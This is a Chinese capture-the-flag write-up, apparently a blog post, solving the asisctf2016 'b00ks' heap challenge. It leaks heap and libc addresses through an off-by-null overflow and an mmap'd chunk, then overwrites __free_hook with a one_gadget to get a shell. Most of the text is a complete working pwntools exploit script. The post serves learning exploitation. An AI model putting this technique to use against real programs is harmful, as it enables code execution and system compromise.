题目: asisctf2016_b00ks
保护
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HNoRgUrU-1642340360848)(off-by-null.assets/image-20220116195353489.png)]](https://i-blog.csdnimg.cn/blog_migrate/a850e4f2a96a1798e8905b6cbc8687f6.png)
除了canary全开,因为是堆题,所以基本可以认为保护措施全开
分析
主函数
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-flBDG3BV-1642340360849)(off-by-null.assets/image-20220116195613703.png)]](https://i-blog.csdnimg.cn/blog_migrate/3401acc5480e35e7b27c92ab259eaf90.png)
程序封装的read函数
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8b36tYAM-1642340360850)(off-by-null.assets/image-20220116195723248.png)]](https://i-blog.csdnimg.cn/blog_migrate/3565061be9921df1df2b49afe4c13b71.png)
add函数
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-x9IphPf3-1642340360851)(off-by-null.assets/image-20220116195752315.png)]](https://i-blog.csdnimg.cn/blog_migrate/5d3277c5e26fb847d7895272312cb0d2.png)

由add函数可得出以下结构示意图:
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Dfj8zsQx-1642340360852)(off-by-null.assets/image-20220116200808101.png)]](https://i-blog.csdnimg.cn/blog_migrate/c7e23e368e781dda9162baf5c1b323f2.png)
dele函数
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-djoyK1X4-1642340360852)(off-by-null.assets/image-20220116195857929.png)]](https://i-blog.csdnimg.cn/blog_migrate/6b527b54e76d020a11ec260ec5625656.png)
edit函数
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-r5dFWDGN-1642340360853)(off-by-null.assets/image-20220116195917126.png)]](https://i-blog.csdnimg.cn/blog_migrate/3c67cb89fc603c14bcfbd4a448c61391.png)
show函数
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7eENpDQ5-1642340360853)(off-by-null.assets/image-20220116195945893.png)]](https://i-blog.csdnimg.cn/blog_migrate/594947a82ff25b9843173240b396be66.png)
init_name函数
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pn5MBWAC-1642340360854)(off-by-null.assets/image-20220116200003501.png)]](https://i-blog.csdnimg.cn/blog_migrate/635ca49766ea84631024d4247ebb9324.png)
重命名的bss段

思路
- 因为有off-by-null漏洞且bss段中 name到ptr_array的距离刚好0x20大小 name:0x202040 ptr
- 填充’P’*0x20大小时会覆盖到ptr_array处最低字节为\x00
- 但是ptr[0]是下一步才写入的值,所以并不会改变该值的最低位为\x00
sla('Enter author name: ','P'*0x20)
#创建一个堆块 , 它的指针保存在0x202060
add(0x1d0,'AAAA',0x20,'BBBB') #这里chunk大小为构造下面只能覆盖\x00的要求,从而使它指向fake chunk地址
#此时打印时会连带输出0x202060的值,也就是堆的地址
1 show()
2 ru('P'*0x20)
3 chunk1 = uu64(rc(6))
4 success('chunk1 addr',chunk1)
bss如图:

- 我们知道unsotbin + uaf 泄露libc是通过得到main_arean出的值从而获取libc的固定偏移
- 那么mmap()分配也是类似的原理,它分配的chunk在.tls段前,通过固定偏移也可泄露libc
add(0x21000,'CCCC',0x21000,'DDDD') #这里申请一个大于topchunk大小的chunk则会由mmap()分配
#且它不会放到堆空间处
泄露libc
1 chunk2 = chunk1 + 0x30 #申请的第二个chunk地址
2 fake = p64(1) + p64(0) + p64(chunk2+0x10)+ p64(0x20)
'''p64(1) 是该chunk的索引
p64(0)作为占位使用
p64(chunk2+0x10)是指向chunk2 的description_ptr
p64(0x20) chunk2 的description_ptr的size
fake chunk的结构这里结构必须完整,不然后面对fake chunk进行修改时,会导致程序崩溃'''
3 edit(1,fake)
4 name('P'*0x20) #重新覆盖ptr_array[0]的最低字节为\x00 通过前面的size构造这里就指向>
5 show() #而p64(chunk2+8)指向的是mmap()分配处的地址 ,这样就形成了双级指针,从而打印出地址
6 ru("Name: ")
7 libc_base = uu64(rc(6)) - (0x7f7edfb43010-0x7f7edf59e000) #计算偏移差
8 success('libc',libc_base)
那么我们来看看现在的堆结构:
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xNmYLwnM-1642340360855)(off-by-null.assets/image-20220116191551493.png)]](https://i-blog.csdnimg.cn/blog_migrate/febfed1eb9f1ee86124e34035721ef9b.png)
那么现在修改chunk1的内容就等同于 修改chunk2的description_ptr指针
那么修改chunk2的内容就等同于 修改上面chunk2的description_ptr指针下的内容
这就形成了一个自定义指针关系,该程序保护措施限制了got表 , 那么可以使用 __free_hook + one_gadge
1 free_hook = libc_base + libc.symbols['__free_hook']
2 edit(1,p64(free_hook))
3 edit(2,p64(libc_base + one[1]))
4 dele(1) #getshell
完整exp:
# -*-coding:utf-8 -*
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')
binary = "./b00ks"
global p
local = 1
if local:
p = process(binary)
e = ELF(binary)
libc = e.libc
else:
p = remote("111.200.241.244","58782")
e = ELF(binary)
libc = e.libc
#libc = ELF('./libc_32.so.6')
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
uu32 = lambda data :u32(data.ljust(4, b'\0'))
uu64 = lambda data :u64(data.ljust(8, b'\0'))
u64Leakbase = lambda offset :u64(ru("\x7f")[-6: ] + b'\0\0') - offset
u32Leakbase = lambda offset :u32(ru("\xf7")[-4: ]) - offset
it = lambda :p.interactive()
def z(s='b main'):
gdb.attach(p,s)
def success(string,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(string,addr))
def pa(s='暂停!'):
log.success('当前执行步骤 -> '+str(s))
pause()
one = [0x45206,0x4525a,0xcc673,0xcc748,0xefa00,0xf0897,0xf5e40,0xef9f4] #2.23
#one = [0x45226,0x4527a,0xcd173,0xcd248,0xf03a4,0xf03b0,0xf1247,0xf67f0]
def add(a,b,c,d):
sla('> ','1')
sla('Enter book name size:',str(a))
sla('Enter book name (Max 32 chars):',b)
sla('Enter book description size:',str(c))
sla('Enter book description:',d)
def dele(a):
sla('> ','2')
sla('Enter the book id you want to delete:',str(a))
def show():
sla('> ','4')
def edit(a,b):
sla('> ','3')
sla('Enter the book id you want to edit:',str(a))
sla('Enter new book description:',b)
def name(a):
sla('> ','5')
sla('name: ',a)
#------------leak heap_addr----------------
sla('Enter author name: ','P'*0x20)
#因为有off-by-null漏洞且bss段中 name到ptr_array的距离刚好0x20大小 name:0x202040 ptr_array:0x202060
#填充'P'*0x20大小时会覆盖到ptr_array处最低字节为\x00
#但是ptr[0]是下一步才写入的值,所以并不会改变该值的最低位为\x00
add(0x1d0,'AAAA',0x20,'BBBB') #创建一个堆块 , 它的指针保存在0x202060
show() #此时打印时会连带输出0x202060的值,也就是堆的地址
ru('P'*0x20)
chunk1 = uu64(rc(6))
success('chunk1 addr',chunk1)
#------------leak libc----------------
#我们知道unsotbin + uaf 泄露libc是通过得到main_arean出的值从而获取libc的固定偏移
#那么mmap()分配也是类似的原理,它分配的chunk在.tls段前,通过固定偏移也可泄露libc
add(0x21000,'CCCC',0x21000,'DDDD')
#这里申请一个大于topchunk大小的chunk则会由mmap()分配
#且它不会放到堆空间处
chunk2 = chunk1 + 0x30 #申请的第二个chunk地址
fake = p64(1) + p64(0) + p64(chunk2+0x10)+ p64(0x20) #p64(1) 是该chunk的索引
edit(1,fake)
name('P'*0x20) #重新覆盖ptr_array[0]的最低字节为\x00 通过前面的size构造这里就指向了p64(chunk2+8)
show() #而p64(chunk2+8)指向的是mmap()分配处的地址 ,这样就形成了双级指针,从而打印出了mmap()分配的指针地址
ru("Description: ")
libc_base = uu64(rc(6)) - (0x7f7edfb43010-0x7f7edf59e000)
success('libc',libc_base)
#------------attack into __free_hook----------------
#该程序保护措施限制了got表 , 那么可以使用 __free_hook + one_gadger进行getshell
free_hook = libc_base + libc.symbols['__free_hook']
edit(1,p64(free_hook))
edit(2,p64(libc_base + one[1]))
dele(1) #getshell
#------------end----------------
it()
ASISCTF2016_b00ks挑战解析
本文详细解析了ASISCTF2016_b00ks挑战赛中的堆溢出漏洞利用过程。通过利用off-by-null漏洞和bss段特性,实现了对堆和libc地址的泄露,并最终通过__free_hook和one_gadget技巧获得了shell。此文章适合对堆溢出攻击有兴趣的安全研究人员。
970

被折叠的 条评论
为什么被折叠?



